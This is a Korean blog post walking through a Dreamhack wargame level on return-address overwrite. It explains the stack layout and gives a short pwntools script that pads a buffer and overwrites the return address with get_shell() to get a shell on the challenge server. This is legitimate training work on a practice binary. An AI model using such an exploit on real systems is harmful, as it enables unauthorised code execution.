Iriton's log

[Dreamhack] Lv.1 : Return Address Overwrite 본문

Pwnable/Wargame

[Dreamhack] Lv.1 : Return Address Overwrite

Iriton 2024. 4. 10. 03:28

https://eunginius.tistory.com/entry/Exploit-Tech-Return-Address-Overwrite

 

Exploit Tech: Return Address Overwrite

*본 포스트는 Dreamhack - Systemhacking Lecture 을 참고하여 작성되었습니다. 분석 취약점 분석/트리거 // Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include #include void init() { setvbuf(stdin, 0, 2, 0);

eunginius.tistory.com

위 글에 Exploit까지 다 나와 있는데, 본 포스트는 단지 pwntools 사용에 익숙해지기 위해 작성된 것이므로 Exploit 전까지는 동일한 내용임을 알립니다.

 

 

스택 버퍼에 오버플로우 발생시켜서 리턴 주소를 덮으려면 해당 버퍼가 스택 프레임 어디에 위치하는지 알아야 한다.

main 어셈블리 코드를 살펴보자.

주목해서 봐야 할 코드는 scanf에 인자를 전달하는 부분이다.

 

nearpc는 디스어셈블된 코드를 가독성 좋게 출력하는 pwndbg 명령어이다. 

rsi에 rbp-0x30 주소를 넣는데 이건 입력받은 문자열을 저장할 메모리 버퍼의 주소이다.

rdi에는 rip+0xab 주소를 넣는데 이건 %s의 시작을 가리키는 것으로 입력 형식을 나타낸다.

eax에 0을 로드하는 건 scanf 함수의 반환 값을 초기화 하는 것에 해당한다. 

따라서 코드로 표현하면 scanf("%s", (rbp-0x30)); 이다.

 

즉, 오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다.

스택프레임 구조를 떠올려 보면 rbp에 SFP가 저장되고 rbp+0x8에는 반환 주소가 저장된다.

따라서 스택 프레임을 그려보면 아래와 같다.

입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로 그만큼 쓰레기 값을 채우고 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 

이 예제에는 쉘을 실행하는 get_shell() 함수가 있으므로 이 함수 주소로 main 함수의 리턴 주소를 덮어서 쉘을 획득할 수 있다.

주소가 0x4006aa인 걸 확인할 수 있다.

Intel x86-64아키텍처는 리틀엔디언을 사용하기 때문에 get_shell 주소인 0x4006aa는 "\xaa\x06\x40\x00\x00\x00\x00\x00"로 전달돼야 한다.

(변환하는 건 pwntool의 p64 함수를 이용해도 된다.)

 

from pwn import *

p = remote("host3.dreamhack.games", 9034)
context.arch = "amd64"

payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(0x4006aa)

p.recvuntil(b'Input: ')

p.sendline(payload)
p.interactive()

p 변수에 서버를 연결하고

payload에는 30바이트짜리 A와 8바이트짜리 B와 마지막으로 중요한 get_shell 함수 시작 주소를 주입했다.

여기서 p64함수는 지정된 엔디안 형식으로 변환을 해주는데 두번째 인자가 없으면 리틀엔디안으로 변환해준다.

Input: 문자열이 나올 때까지 기다리다가(recvuntil) 페이로드를 전송한다.(sendline)

interactive 함수로부터 사용자에게 동작 제어를 넘긴다.

 

제공되는 서버에 접속을 해야 flag가 보이기 때문에

강의에서 제공하는 (파이프를 이용한) 한줄명령어보다 pwntool 쓰는 게 훨씬 편하다.

'Pwnable > Wargame' 카테고리의 다른 글

[Dreamhack] Lv.2 : ssp_001  (0) 2024.05.15
[Dreamhack] Lv.1 : basic_exploitation_001  (1) 2024.05.07
[Dreamhack] Lv.2 : basic_exploitation_000  (0) 2024.04.12
[Dreamhack] Beginner: welcome  (0) 2024.04.02
[Dreamhack] Beginner: shell_basic  (0) 2024.04.01
Comments